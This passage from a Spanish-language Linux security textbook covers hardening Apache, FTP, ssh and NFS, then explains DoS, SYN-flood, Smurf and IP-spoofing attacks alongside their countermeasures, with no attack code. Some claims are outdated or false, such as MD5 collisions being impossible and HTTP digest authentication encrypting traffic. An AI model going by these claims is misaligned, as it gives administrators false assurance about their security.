- Tener todos los servicios corriendo como un servicio bajo una cuenta que no sea la de root. Además, tener todos los servicios con chroot.
- Transferir los logs de sistema a otra máquina.
- Analizar los archivos de log.
- Analizar intentos de detección aleatoria de puertos en nuestro computador.
- Limitar los recursos de cpu y de memoria para un servicio.
- Activar cuotas para las cuentas de usuario.

Para puntualizar chroot es una línea mas de defensa porque si alguien logra entrar con una cuenta sin privilegios, y no habrá posibilidades a establecer como root, entonces sólo puede dañar el área al que ha accedido. Además, incluso si el área al que hubiera accedido fuera propiedad de la cuenta de root, tendría menos posibilidades para el ataque. Obviamente, hay algo erróneo si alguien tiene la posibilidad de introducirse con nuestra cuenta, pero está bien ser capaz de limitar el daño que puede hacer.

Haciendo chroot a Apache

Es muy sencillo. Una vez que lo configure, pude ejecutar scripts Perl. Ahora mi archivo de configuración es más bien grande porque he tenido que incluir Perl y las librerías PostgreSQL en el área con chroot. Algo a tener en cuenta, si nos estamos conectando a una base de datos, debemos asegurar que nuestro servicio de base de datos está corriendo en el dispositivo de loopback 127.0.0.1 y especificar que el host es 127.0.0.1 en nuestros scripts Perl para el módulo DBI. Aquí hay un ejemplo de cómo conectarse a la base de datos usando conexión persistente en apache:
Ahora, sólo hay que ir a http://127.0.0.1/server-status o http://127.0.0.1/server-info desde nuestro navegador y comprobar que funciona.

Configuración de Apache

En cuanto a la forma más simple de asegurar Apache y asegurarse de que no tiene acceso innecesario al sistema de archivos es crear un directorio /var/www/ o algo similar, y situar por ahí debajo TODOS los sitios web, contenido web, cgi's, etc. Después sólo es necesario configurar access.conf para que deniegue el acceso a / , y se lo permita a /var/www/ y sus varios directorios cgi-bin. Pero un buen artículo de esto esta en la página de linux.com (http://www.linux.com/archive/feed/36331) donde te enseñan desde cero como preparar un chroot.

Control de Accesos

También se puede controlar el acceso a los directorios, el Apache soporta la definición y localización de archivos. Estos archivos se llaman htaccess y se usan para controlar el acceso basado en nombre de usuario y contraseña, el IP de origen, etc. Esto se define en srm.conf: **AccessNombre-de-Archivo .htaccess**

El formato del este archivo se explica en la documentación de Apache, y es idéntico a directivas que se colocarían en access.conf. La autentificación de usuario vía nombre de usuario y contraseña también vien desarrollada en profundidad en http://www.apacheweek.com/features/userauth/. También querrás evitar que la gente vea los archivos .htaccess.

Apache con extensiones SSL

La autenticación con SSL es una extensión del Apache que automáticamente ingresa a los usuarios al sitio ejecutado por el Apache. Este utiliza a mod_ssl en el Apache para buscar en el certificado del cliente el DN (Nombre Distinguido, nombre del usuario o equipo), todos los usuarios deberan presentar el certificado que es otorgado por un tercero, la Certificate Authority o CA. Existen diferentes alternativas gratuitas al Apache con SSL, y varias comerciales. Algunas de las libres son OpenCA y Cacert.org. Otra solución que puede investigar es Apache_SSL.

Crear un Certificado

Esta es la parte fácil, el siguiente paso es crear el conjunto de llaves, y después configurar el httpd.conf para utilizarlo correctamente. Busca dónde está instalado el "openssl" y asegúrate de que está en el path, después haz un cd allí donde quiera que tengas ubicados tus archivos de configuración del Apache (cualquiera que fuese el prefijo como el raíz de Apache seguido de /conf). Si se necesita crear un certificado de prueba, para uso interno, se puede hacer:

[antonio@localhost ~]$ openssl genrsa -des3 > httpsd.key
[antonio@localhost ~]$ openssl req -new -key httpsd.key > httpsd.csr

Los navegadores se quejan sobre este certificado, puesto que está creado por la persona que lo firma, y no son fiables. Si quieres generar un certificado, y una petición de certificado para enviar a alguien como OpenCA o Verisign, entonces hay que hacer lo mismo entonces enviarlo a ellos para que sea un tercero que lo autorice.

Autenticación MD5

Si un administrador decide que la autenticación básica del HTTP no es suficientemente segura, el puede usar la autenticación MD5 (Message Digest 5). Cuando un archivo es procesado con el algoritmo MD5 se produce una huella digital de 32 caracteres. Los chances de que dos mensajes produzcan las mismas huellas es computacionalmente imposible. Aunque el MD5 es usado mayormente para verificar la integridad de los archivos, Apache tiene soporte interno para el MD5 como una medida alternativa más segura para la autenticación básica. Mientras usamos autenticación MD5, la transmisión del nombre de usuario y las contraseñas son encriptadas.

Agregar Autenticación MD5 usando htdigest

Podemos agregar autenticación MD5 para proteger el árbol del directorio web usando la herramienta htdigest para proveer un nivel más alto de seguridad que la autenticación básica. El htdigest trabaja muy parecido al htpasswd. Para agregar soporte MD5 para la cuenta del usuario miguel, primero el administrador necesita crear una nueva base de datos digest usando la opción -c:

 # htdigest -c .htdigest “Miguelito” miguel

“Miguelito” fue ingresado para ser como es conocido el realm. El realm es lo mismo como fue ingresado en

la directiva AuthName en el archivo .htacces. Luego la configuración de .htacces debe ser corregida. La directiva AuthDigestFile debe ser agregada para señalar a la localización del archivo .htdigest:

AuthDigestFile /home/miguel/public_html/.htdigest

Por último la opción del tipo de autenticación, AuthType, debe ser cambiada en el archivo .htacces para que use autenticación basada en Digest. Esto es lo que debe cambiar:

AuthType Basic

Debe ser cambiado a:

AuthType Digest

Ahora la autenticación MD5 será usada en vez de la autenticación básica de HTTP y el tráfico entre el cliente y el servidor web será encriptado.

Asegurando FTP

La manera de mas simple de asegurar un Servidor FTP es a través de un tunnel ssl o vía ssh, sino la otra forma que ya hemos discutido con el Apache es el chroot para limitar los archivos y directorios disponibles a los que entren al FTP. Al generar el cambio del directorio raíz del FTP hacia el directorio de los usuarios ftp los usuarios que usen el FTP no serán capaz ver otro directorio que no sea su propio directorio.

Asegurando ssh

Si por alguna razón en su servidor aún están usando telnet y no ssh, entonces debe de inmediato eliminar esa practica y comenzar a usar el ssh. El ssh debe ser usado para todas las entradas remotas y nunca telnet. En una época donde es fácil husmear el tráfico de Internet y obtener contraseñas en texto plano, debe usar sólo protocolos que usen criptografía. Para instalarlo en su Fedora, el cliente viene por defecto pero el server si instala con un simple yum install ssh.

Asegurar NFS

NFS trabaja muy bien compartiendo sistemas de archivos enteros con un gran número de máquinas conocidas de una manera muy trasparente. Muchos usuarios que acceden a archivos sobre un punto de montaje NFS pueden no estar atentos a que el sistema de archivos que están usando no está en su sistema local. Sin embargo, esta facilidad de uso trae una variedad de potenciales problemas de seguridad.

Los siguientes puntos deben considerarse cuando exportamos un sistema de archivos NFS en un servidor o lo montamos en un cliente. Haciendo esto minimizamos los riesgos de seguridad NFS y mejoramos la protección de sus datos y equipamiento.

Acceso al Sistema

El NFS controla quien puede montar y exportar sistemas de archivos basados en la máquina que lo pide, no en el usuario que utilizará el sistema de archivos. Las máquinas tienen que tener los derechos para montar los sistemas de archivos exportados explícitamente. El control de acceso no es posible para usuarios, aparte de los permisos de archivos y directorios. En otras palabras, cuando exporta un sistema de archivos vía NFS a una máquina remota, no sólo está confiando en la máquina a la que permite montar el sistema de ficheros, también está permitiendo a cualquier usuario que acceda a esa máquina que use su sistema de archivos.

Los riesgos de hacer esto pueden controlarse, tales como montarlo en solo lectura o cambiar a los usuarios a un ID común de usuario y grupo, pero estas soluciones impiden que el montaje sea usado de la manera originalmente prevista.

Adicionalmente, si un atacante gana el control del servidor DSN usado por el sistema que exporta el sistema de archivos NFS, el sistema asociado con un nombre de máquina concreto o nombre de dominio totalmente cualificado, puede ser dirigido a una máquina sin autorización. En este punto, la máquina desautorizada es el sistema que tiene permitido montar la compartición NFS, ya que no hay intercambio de información de nombre de usuario o contraseña para proporcional seguridad adicional al montaje NFS. Los mismos riesgos corre el servidor NIS, si los nombres de red NIS son usados para permitir a ciertas máquinas montar una compartición NFS. Usando direcciones IP en /etc/exports, esta clase de ataques son más difíciles.

Los comodines o metacaracteres deben ser usados lo menos posible cuando garantizamos el acceso a una compartición NFS. El uso de los comodines puede permitir el acceso a sistemas que puede no saber que existen y que no deberían montar el sistema de archivos.

Permisos de archivos

Una vez que el sistema de archivos es montado como lectura-escritura por una máquina remota, la protección de cada archivo compartida depende de sus permisos, y del ID de su usuario y grupo propietario. Si dos usuarios que comparten el mismo valor ID montan el mismo sistema de archivos NFS, serán capaces de modificarse los archivos entre sí. Además, cualquiera que esté conectado como root en el sistema cliente, puede usar el comando su para convertirse en un usuario que tenga acceso a determinados archivos a través de la compartición NFS.

El procedimiento predeterminado cuando exportamos un sistema de archivos a través de NFS es usar root squashing (sobreponerse a root). Esto cambia el ID de usuario de cualquiera que utilice la compartición NFS, aunque sea el root de su máquina local, al valor de la cuenta nobody del servidor. Nunca debe desactivarlo a menos que no le importe que haya múltiples usuarios con acceso de root en su servidor.

Si sólo está permitiendo a los usuarios que lean archivos de su compartición NFS, debería considerar usar la opción all_squash, la cual hace que todos los usuarios que accedan a su sistema de archivos exportado tomen la ID del usuario nobody.

RESUMEN

En este capítulo, cubrimos varios servicios de red. Entre los puntos claves se incluyen:

- Los TCP Wrappers y el inetd proveen una capa adicional de seguridad para los servicios en específicos del TCP/IP.
- Los servicios que no estén en uso deben ser desactivados en /etc/services y en el sistema de scripts de inicio.
- Cada servicio, como son FTP, HTTP, NFS, SMTP, etc., tiene un archivo de configuración en específico le permite control el acceso al servicio.
- Dedicar servidores individuales a servicios en específico es una manera efectiva de segregar riesgos y mantener los servicios seguro.

PREGUNTAS POST - EXAMEN

Las respuestas a estas preguntas están al final de este libro en el Apéndice A

1.- ¿Por qué es que es difícil asegurar un servidor de correo?

2.- ¿Qué medidas deben ser tomadas para asegurar un servidor de correo?

3.- Describa asegurar los daemons y los servicios
4.- ¿Cómo es que el Protocolo SSL efectúa su encriptación?
5.- ¿Cómo puede el administrador de sistemas asegurar el Servidor Web contra posible ataques?
6.- ¿Por qué debe usted separar las cuentas de usuarios del FTP y las opciones de acceso de esas usadas para accesar la Web?

CAPITULO

7

SEGURIDAD

DEL SISTEMA OPERATIVO GNU/LINUX

ASEGURAR LA RED

OBJETIVOS:

Al completar este capítulo, usted podrá:

• Liste y detalle las vulnerabilidades más comunes de la redes, en específico los ataques DoS (Denegación de Servicios) y IP spoofing.
• Listar los puntos de importancia al diseñar políticas de seguridad así como la función de este documento.
• Listar los diferentes tipos de firewalls disponibles y sus ventajas y desventajas.
• Definir los términos comunes de los firewalls.
• Describir los cuatro tipos de diseño de sistemas de firewalls y sus grados de seguridad.
• Implementar un firewall de filtrado de paquetes.
• Describir el rol de los iptables al restringir el flujo de información en una red.
• Definir el uso de los comandos netstat y nmap para monitorear los servicios.
• Definir los elementos claves en el control de acceso a la red; describir una VPN y el filtrado de paquetes.
• Describir la estructura y los elementos clave de una VPN; definir los pasos para configurar una VPN.
• Definir el rol del programa stunnel para preservar la privacidad del correo y otros tipos de trasmisiones sobre el Internet.
• Configurar un servidor de GNU/Linux para que soporte IPSec.

Preguntas Pre-Examen

Respuestas a estas preguntas se encuentran en el Apéndice A.

1.- Un firewall es su medio primordial para reforzar las políticas de seguridad de su red. Al implemtar un
firewall, usted debe configurar su seguridad y establecer puntos de chequeo ¿Para que son estos puntos
de chequeo?
2.- ¿Cómo puede NAT (Network Address Translation) proveer seguridad?
3.- ¿Cuáles son loas ventajas de usar un servidor proxy como firewall al nivel de la capa de aplicación?
4.- ¿Qué es el el host bastión?
5.- ¿Qué es un DMZ (Demilitarized Zone)?

INTRODUCCION

Hoy en día a la hora de asegurar un sistema, la mayor preocupación lo más probable sea su red. La red permite a los usuarios obtener información en otros sistemas y le permite a otros tener acceso a la información en el nuestro. Pero, debemos controlar con mucho cuidado que tipo de acceso otorgamos a estos usuarios externos. Debemos además asegurarnos que nuestro sistema está libre de agujeros de seguridad que hacen a nuestros sistemas vulnerables a ataques. La mejor manera de minimizar los riesgos es limitando los servicios disponibles y mantenerse informado con los recursos de información disponibles en la Web. En este capítulo, exploraremos maneras de limitar el acceso la red usando inetd y firewalls. También cubriremos algunos recursos muy populares que se encuentran en la Web.

Vulnerabilidades de la Red

Las vulnerabilidades de los protocolos ejecutando sobre el Internet se han convertido en quizás el tema de mayor importancia en los últimos años. El suite TCP/IP fue diseñado cuando el Internet era una pequeña red conformada mayormente por Universidades. Como esto era una situación que se podría considerar privada, seguridad no era de mucha importancia. Con el incremento en el uso del Internet es que la falta de seguridad inherente del TCP/IP se ha convertido en un problema.

En la próxima versión del IP, el IPv6 se tratará de enfrentar la mayoría de los problemas de seguridad. Pero como no se espera que se incremente el uso del IPv6 en los próximo años, sino quizás una década mas; es esencial que los administradores de redes entiendan estos tipos de ataques que pueden ocurrir en el estado actual del Internet y el uso casi total de IPv4 y que puedan prevenirlos.

En esta sección discutiremos los siguientes temas:

- Ataques DoS (Denial of Service)
- IP Spoofing
- Control de Acceso a la Red
- Políticas de Red

Ataques DoS (Denegación de Servicio)

Un ataque de denegación de servicio es un ataque a través del cual “alguien” puede hacer que sus sistemas se detengan o consumir todos sus recursos, y de este modo denegar el acceso a usuarios legítimos. Es muy parecido al efecto de un tapón de transito a las horas pico.

La mayoría de sistemas operativos, routers y componentes de red que deben procesar paquetes a cualquier nivel, son vulnerables a ataques DoS. Para reducir el impacto de un ataque DoS hay que evaluar cómo de vulnerable son sus sistemas. Restringir el acceso a cuentas críticas, recursos, archivos y protegerlos en frente de accesos no autorizados es la manera de minimizar la mayoría de estos ataques.

SYN Packet Flooding (Inundación SYN)

El protocolo TCP se basa en una conexión en tres pasos. Si el paso final no llega a establecerse, la conexión permanece en un estado denominado “semiabierto”. El Syn Flood es el más famoso de los ataques del tipo Denial of Service, publicado por primera vez en la revista Phrack. Se basa en un “saludo” incompleto entre los dos hosts. El Cliente envía un paquete SYN pero no responde al paquete ACK ocasionando que la pila TCP/IP espere cierta cantidad de tiempo a que el host hostil responda antes de cerrar la conexión. Si se crean muchas peticiones incompletas de conexión (no se responde a ninguna), el Servidor estará inactivo mucho tiempo esperando respuesta. Esto ocasiona la lentitud en los demás servicios.

El problema es que muchos sistemas operativos tienen un límite muy bajo en el número de conexiones “semiabiertas” que pueden manejar en un momento determinado. Si se supera ese límite, el servidor sencillamente dejará de responder a las nuevas peticiones de conexión que le vayan llegando. Las conexiones “semiabiertas” van caducando tras un tiempo, liberando “huecos” para nuevas conexiones, pero mientras el atacante mantenga el Syn Flood, la probabilidad de que una conexión recién liberada sea capturada por un nuevo SYN malicioso es muy alta.

La potencia de este ataque reside en que muchos sistemas operativos fijan un límite del orden de 5 a 30 conexiones “semiabiertas”, y que éstas caducan al cabo de un par de minutos. Para mantener el servidor fuera de servicio, un atacante sólo necesita enviar un paquete SYN cada 4 segundos (algo al alcance de, incluso, un módem de 300 baudios). Este ataque suele combinarse también con el IP Spoofing, de forma de ocultar el origen del ataque.

Inundación de ICMP

Parecido al SYN Flood, la inundación de eco del ICMP o mejor conocidos como Ping Floods, trabaja sobre cargando a una máquina host con información en demasía, así logrando que la velocidad de la red se reduzca a niveles inaceptables. Estos ataques utilizan el comando ping, el cual usa el protocolo ICMP. El comando que por lo normal es usado para enviar mensajes de prueba a una dirección IP de una máquina en el Internet para ver si está disponible. Si el host está disponible responderá. El ping puede ser usado como una herramienta poderosa para encontrar problemas de ancho de banda y redes en general, pero desafortunadamente también puede ser usado para causar estos problemas.

El ataque ocurre cuando se le envía un número de pings a un host a la vez. Por lo general se utiliza cuando el atacante tiene un mayor ancho de banda que el equipo victima. De esta manera el atacante puede enviar más pings que los que la victima pude responder. Si se usa en combinación con IP Spoofing no es necesario que el atacante tenga un mayor ancho de banda ya que las respuestas nunca llegarán a su destino. El IP Spoofing se cubrirá más adelante.

Prevención del Ataque DoS

Existen varias medidas que los administradores de redes pueden tomar para limitar la posibilidad de ser blancos de ataques o ser usados como puentes para que ataquen a otros desde sus servidores. Pero, recuerde que si usted tiene que estar conectado al Internet nunca estará 100% seguro ya que algunas de las vulnerabilidades que los crackers atacan son debilidades que son parte fundamental de la operación del Internet. Pero si es imperativo que los administradores hagan todo lo que este a su alcance para prevenir cualquier tipo de ataque.

Prevención al Nivel del Enrutador (Router)

Una de las medidas más importante del administrador de redes es denegar, en el nivel de enrutador, tráfico saliente que tienen una dirección de origen incorrecta. No existe razón alguna para que un paquete salga de una red con una dirección IP que no sea parte de esa red. La falsificación de direcciones IP es parte esencial del ataque Smurf y lo convierte en casi imposible detectar de donde el ataque se origina. El filtrado de tráfico saliente con direcciones de origen incorrecta debe efectuarse en todas las interfaces de salida de los enrutadores. Ya que los ataques SYN no pueden ser detenidos con facilidad, es importante bloquear direcciones IP falsificadas de que salgan de la red. Esto ayuda a poder detectar el origen de los ataques.

El filtrado de difusión o broadcast dirigido es también esencial para la seguridad de una red o una red que actuá como un intermediario en un ataque. A menos que el administrador este 100% seguro que el filtrado de broadcast dirigido va a interferir con la actividad legitima y cotidiana de la red, este tipo de filtrado debe

siempre ser llevado a cabo. Este tipo de tráfico debe ser bloqueado en todas las interfaces entrantes en todos los enrutadores que dan entrada a tráfico desde el Internet.

Si un administrador de red le ha dado seguimiento a un ataque ICMP, como es el Ping Floods, puede que sea necesario bloquear todo el tráfico ICMP al nivel del enrutador. Una desventaja de esta medida es que los comandos dependiente del ICMP como son el ping y traceroute no funcionarán. Pero, el ICMP no es esencial para la mayoría de las operaciones de la red como es el HTTP, FTP y SMTP.

Prevención al Nivel de la Máquina

Si la denegación al nivel del enrutador de los broadcast dirigido a IP o el tráfico ICMP no puede ser efectuado, aplicar la medida en cada host es otra opción disponible. Cada host puede ser configurado a no responder a echo ICMP que son enviados a la dirección de broadcast. Si es necesario, el administrador de red deberá configurar cada host a ignorar todo el tráfico ICMP.

IP Spoofing

El IP Spoofing es el proceso de crear paquetes TCP que contienen una dirección de origen falsificada. IP Spoofing a menudo es usado para esconder la fuente u origen de un ataque DoS u otro tipo de ataques de red y para adquirir el acceso no autorizado de un sistema que utiliza autentificación basada en una dirección IP.

El ahora famoso cracker, Kevin Mitnick, uso la técnica de IP Spoofing para obtener acceso a la computadora de un experto oficial de seguridad. Mitnick entro en el ordenado de Tsutomu Shimura, el cual luego ayudo a las autoridades a traer a Mitnick ante la justicia. Pero, con el uso de IP Spoofing fue difícil localizar a Kevin.

La única manera fácil de ubicar la procedencia de un paquete es por la dirección de origen en el cabezal del paquete. Cuando este a sido Spoofed, la única manera de detectar el origen es mientras el ataque está sucediendo.

Ataque Smurf

Un ataque Smurf es un ataque DoS que utiliza IP Spoofing. El ataque Smurf funciona dirigiendo ping floods (inundación de ping) con IP Spoofed a una dirección IP de broadcast. Las direcciones IP de broadcast son las que contienen todos unos o todos ceros en la porción del host de la dirección. Por ejemplo, para la Red Clase C de 192.168.1.0/24, la dirección de broadcast sería 192.168.1.255. Las direcciones de broadcast son usadas para transmitirle la misma información a muchas máquinas. Si la información es enviada a la dirección broadcast, entonces sólo tendrá que ser enviada una sola vez para que le llegue a todas las máquina con esa dirección de broadcast. Así que si le hace un IP Spoofing a la dirección IP de la victima, una red por completo ejecutará un ping al computador victima.

Estos ataques son nombrados por el primer programa que combino estas vulnerabilidades, SMURF. Hay tres partes involucradas en este ataque: el atacante, el intermediario y la victima. Este tipo de ataque ha sido usado para tumbar grandes Sitios Web.

Por lo general los atacantes busca en el Internet a redes que no tienen los broadcast de IP dirigidos bloqueados para tomar ese host como el intermediario. Una vez se ubica una red vulnerable, el atacante falsifica la dirección IP de retorno de un gran número de pings para que estos parezcan que fueron enviados desde la victima. Estos pings son enviados a la dirección broadcast de la red intermediaria. Una vez el ping es enviado a la dirección de broadcast, este es enviado a cada computador en la red con esa dirección. Esas máquinas entonces envían una respuesta de regreso a la victima por cada ping.; mientras más máquinas están en la misma subnet, más se incrementa el ataque.

Un ping bogus (disfrazado) desde un atacante puede potencialmente convertirse en cientos y hasta miles de respuestas enviadas a la victima. Por esta razón es que a veces el intermediario es llamado el amplificador en un ataque del tipo smurf.

El filtrado de todo el tráfico saliente con una dirección de origen incorrecta en todas las interfaces salientes de los enrutadores va a prevenir que los que se encuentran en la red local no puedan efectuar u spoofing de una dirección IP que no es parte de la red local. Además, los paquetes que tienen una dirección de origen que contiene IPs locales deben ser bloqueadas en las interfaces entrantes de los enrutadores. Esta medida previene que cualquiera en el Internet no pueda hacer el spoof de los IPs para aparentar que proceden desde la red local.

Control de Acceso a la Red

Es de suma importancia que los administradores de sistemas tengan un buen entendimiento de la estructura de la red, quien tiene acceso a la red y como limitar este acceso cuando sea apropiado. Si un administrador de sistema falla en entender la importancia de esto, la red experimentará problemas de vulnerabilidad. Hasta errata que aparenta ser muy simplista puede convertirse o crearle consecuencias desastrosas para el funcionamiento de la red y las redes que se encuentran conectadas a ella.

Existen medidas que los administradores de sistemas pueden implementar para asegurase que sus redes y la data que por ella se transmiten estén seguras y que su red no será usada como amplificador en ataques a otras redes. La implementación correcta de VPNs, TCP wrappers y filtrado de paquetes pueden reducir el riesgo de seguridad inherente a conectar redes privadas a redes publicas.

VPNs (Virtual Private Networks)

Las VPNs son apropiadas para toda organización que requiere acceso externo seguro a recursos internos. Una VPN permite la transmisión segura de tráfico privado desde un punto a otro sobre una red pública como lo es Internet. La arquitectura VPN es considerada virtual porque utiliza un túnel PPP dentro de un red pública y no el alquiler o compra de una línea privada; no existe tal red privada o física. Un VPN puede extender una red corporativa a Internet y más allá. Está implementaciones pueden reducir significativamente el costo de una red. Además eliminan el costo fijo del alquiler de redes privadas, líneas de dial-up y un gran pool de módems. la administración costosa de estos equipos y servicios ya no son necesarios. El empleado remoto o usuario se puede conectar seguro sobre una línea de consumo masivo del Internet.

Una desventaja de usar redes públicas para facilitar redes privadas es no poder mantener el control de la información cuando pasa sobre la red pública. Los administradores de sistemas deben tener precaución ya que la información que pasa sobre un VPN puede ser accesada por alguien que trabaja o que ha comprometido el ISP que usamos para facilitar el VPN. También debe cuidarse de intrusos a la VPN misma. Los VPN soportan protocolos que nos aseguran la privacidad de la información transmitida y que solo los usuarios autorizados están accesando la red.

Un VPN tiene tres componentes básicos; autentificación, encriptación y túnel. Autentificación es el proceso de validar un nombre de usuario y una contraseña. Encriptación es la codificación del tráfico de la red para enmascararlo de un posible intruso. Tunneling (pasar por un túnel de protocolos) es el acto de establecer una ruta cerrada para la transmisión de data entre dos puntos en una red. La data es encapsulada en la entrada del túnel y es de-encapsulada en la salida. Un VPN moderno soporta todos las tecnologías comunes de encriptación, la mayoría de protocolos de autentificación como es Kerberos o de fichas (tokens) y los principales protocolos de tunneling como es el Protocolo Punto-a-Punto de Túnel (Point-to-Point Tunneling Protocol (PPTP)), IPSec (IP Security) y L2TP (Layer 2 Tunneling Protocol.

Filtrado de Paquetes

El filtrado de paquetes tanto al nivel de la red como del servidor es una parte importante de asegurar una red. Los filtros le permiten a los administradores de TI bloquear el acceso a tráfico no deseado o desautorizado al nivel de tanto el enrutador como del firewall. Los filtros también pueden ser colocados en los servidores para llevar un diario o log de ciertos servicios o puertos, los cuales pueden identificar de donde y cuando un intruso originó su ataque.

Filtrado de Paquetes en el Enrutador

El filtrado de paquetes en el enrutador funciona a través del parseo de los cabezales de los paquetes y aplicándole ciertas reglas para determinar si permitir o no el enrutamiento de estos paquetes. Los administradores de sistemas pueden también especificar reglas basadas en la interface externa requerida por el paquete saliente. Poder especificar reglas en ambas interfaces de entrada y salida le permite al administrador controlar donde el enrutador es colocado en el esquema general de filtrado.

Tomemos en consideración el siguiente escenario: un administrador de sistema desea permitir el tráfico hacia la red A (212.220.0.0/16) (192.168.2.0/24) desde la red B (190.15.65.0/24)(172.31.100.0/24), la cual se acaba de integrar. Pero, el no desea integrar el resto de las redes de la compañía a que tengan acceso a la red A. En la siguiente tabla se muestra las posibles reglas de filtrado para esta situación.

Regla	Dirección Origen	Dirección Destino	Acción
A	172.31.100.0/24	192.168.2.0/24	permitir/permit
B	192.168.2.0/24	172.31.100.0/24	permitir/permit
C	0.0.0.0/0	0.0.0.0/0	denegar/deny

Cuando un paquete arriba al enrutador, este será probado versus las reglas en secuencia (en nuestro caso ABC). Supongamos que un usuario de B tiene una dirección IP de 172.31.100.23 y está tratando de accesar data de un usuario en la red A con la dirección IP de 192.168.2.16. El enrutador permitirá la transmisión ya que la regla a aplicar fuese la regla A. Como el paquete lleno los requerimientos de la regla A, este pasó por el enrutador sin la aplicación de las reglas B o C. En el orden inversa, desde una dirección IP en el rango de 192.168.2.0/24 a una dirección IP en el rango de 192.168.2.0/24, la regla A no aplica, así es que la regla B se pusiera a prueba. Debido a que los paquetes se ajustan al criterio de la regla B, este sería permitido a pasar adelante. La regla C es conocida como la ruta por defecto. Si un paquete no se ajusta ni a la regla A o la B, entonces se le aplica la regla C. En este caso, la regla por defecto es que el enrutador deniegue todo ya que el rango de 0.0.0.0/0 incluye todas las direcciones IP.

Las tablas de filtrado pueden ser largas y complejas. Es de suma importancia que el administrador tenga un entendimiento detallado de los filtros que se aplican al tráfico y los servicios de Internet ya que es difícil probar los filtros antes de que sean aplicados. Además, filtros no necesarios pueden tornar el tráfico de la red lento. Al ser aplicados a un enrutador firewall o al nivel del host, es muy importante filtrar las peticiones de ping de broadcast, tráfico entrante con direcciones de red privadas y otro tráfico inherentemente disfrazado o bogus.

TCP Wrappers (Envolturas)

Los TCP Wrappers funcionan agregándole otra capa (wrapper) a los paquetes enviados entre los clientes y el servidor. Puede ser usado para monitorear y filtrar peticiones entrantes para varios servicios de red ofrecidos (FTP; telnet, finger, etc). Para implementar un wrapper en un host para un servicio en específico, el daemon original para ese servicio es colocado en otro sitio. Entonces la envoltura del servicio reemplaza el daemon en la localidad original. Este wrapper escribe al log o deniega las peticiones y ejecuta el servicio de red original. La implementación no es difícil ya que no hay que modificar el daemon del servidor original y no se afecta a los

usuarios autorizados del servicio.

Los wrappers pueden ser usados para bloquear el tráfico a cierto servicios basado en IP o nombre de host del usuario efectuando la conexión. Los wrappers pueden además proteger del spoofing del nombre del servidor al nivel del servicio ya que ellos pueden efectuar búsquedas inversas en los IPs y denegar acceso basado en resultados.

Los wrappers también son una manera efectiva de contabilizar el uso no autorizado del sistema. Como los wrappers no afectan en la manera que los servicios se presentan a quienes se conectan a ellos, no alertan a un cracker que están siendo observados.

Políticas de Red

Las políticas de la red definen el uso apropiado de los recursos del sistema y los recursos disponibles en general para todos los usuarios. Pone en detalle lo concerniente con seguridad que la empresa enfrenta y los pasos que deben ser tomados para proveer esa seguridad. Lo más importante, asigna las responsabilidades y autoridades encargadas de asegurar y establece las directrices a seguir para los que incumplen.

¿Por qué Necesitamos una Política?

Educar a los usuarios es la mejor medida que puede ser tomada para mejorar el nivel general de seguridad. Una política de red informa al usuario de el uso apropiado del sistema, definiendo la directrices de la organización de los procesos comunes como es los derechos del acceso a los archivos y selección de contraseña.

Si surge un problema, la política debe proveer una acción sistemática y estandarizada a seguir. Estas políticas pueden proveer a la organización con cierto tipo de protección de las actividades ilegales que pueden terceros efectuar usándola como pueden en ataques a terceros. También debe incluir instrucciones a administrador de sistemas con la suficiente responsabilidad y autoridad para dirigir a quien es cometen este tipo de infracción. Con las políticas correctas y bien diseñadas, los problemas que se puedan enfrentar deben ser rápidamente solucionados.

El Desarrollo de Políticas

En el desarrollo de un estándar de red, es importante crear una política general que puede ser obligatorio cumplir específicamente. Toda organización tendrá necesidades y preocupaciones de seguridad y guiás a seguir. Es necesario que cualquier política que se desarrolle debe tomar todas estas necesidades en cuenta.

Seguridad

Las redes suplen numerosos recursos; algunos son tangible, mientras que otros son intangibles. El valor de los recursos tangibles de una organización pueden ser evaluados con un levantamiento de los componentes físicos que conforman la red, como es el hardware, los actores claves que en ellas participan o el backup de su información. Los componentes intangibles pueden ser evaluados con la observación del uso del sistema en el proceso del trabajo de la empresa, como es la intercomunicación interoficina, asignaturas de tareas o el servicio al cliente. El valor de la red pueden ser medido ligeramente asesando el valor agregado o aportado por el sistema al producto final.

El próximo paso al planificar una línea de política es determinar las amenazas específicas a esos recursos y las medidas que se deben tomar para protegerse contra esas amenazas. Es muy importante que el costo total de proteger los recursos no sobre pasa el costo de reemplazar los recursos. Una organización puede que llevada al pánico por los eventos e historias de otra organización similar sea llevada a invertir más en la seguridad de sus sistemas que el costo de reemplazo amerite.

La política de seguridad no solo ayudará a prevenir la perdida o el compromiso de los recursos pero también suplirá una reacción estandarizada en el evento de que esto suceda. Las medidas de seguridad deben incluir alineamientos para los administradores del sistema, como la instalación de programas, backups y seguridad física.

Las políticas de la red tienen el potencial de afectar a todos los usuarios del sistema. Al crear las políticas, debe considerar la doble importancia de productividad y seguridad. Los niveles de productividad no deben ser sacrificadas en nombre de la seguridad al menos que el potencial de perdida sea de mayor riesgo.

Si las reglas otorgadas a los usuarios son demasiado limitante, pueden ser que ellos simplemente las boicoteen y las ignoren. El uso apropiado de políticas deben asegurar que los recursos sean apropiadamente asignados y la protección de la privacidad y derechos de los usuarios.

La política debe determinar las penalidades del incumplimiento de estos alineamientos. Al determinar el castigo por cierto incumplimiento asegúrese de que este presente un abogado, para que no rompa con las leyes locales, especialmente las laborales.

Uso Apropiado

Las políticas deben listar los niveles de autorización necesarios para accesar recursos específicos del sistema. Estas deben incluir los alineamientos seguidos en el proceso de la creación y eliminación de cuentas así como los permisos asignados a cada clase de usuario. Las políticas deben nombrar el usuario que puede asignar los permisos de acceso y que tipo de permisos ellos son responsables de otorgar.

Los usuarios deben ser informados de cuanta privacidad ellos deben tener y cuanta protección la data debe tener. Las políticas deben discutir que tipos de archivos pueden ser descargados y almacenado en el servidor y las estaciones de trabajo. Los usuarios deben estar informados de los niveles de seguridad de los servidores en los cuales ellos almacenan documentos importantes y confidenciales. Las políticas deben además dirigirse a cosas más detalladas sobre tareas generales como son contraseñas y correos, entres otras actividades.

CONCEPTOS DE FIREWALL

El término firewall del inglés “corta fuego” viene de la técnica de seguridad de la ingeniería civil de separar dos secciones de una edificación, como son dos oficinas o apartamentos, con una pared que resista en caso de que una de las unidades se encienda. Esta pared mantiene el fuego aislado así evitando que se expanda a otras localidades. Aunque esta seguridad no permite que el fuego pase de un lado al otro el firewall es transparente para los usuarios autorizados.

En redes de computadoras, un firewall de la red es una barrera contra el potencial de actividades maliciosas y que permite que los usuarios de la red puedan pasar por una puerta para llevar a cabo sus tareas de comunicación entre la red asegurada interna y la red insegura externa.

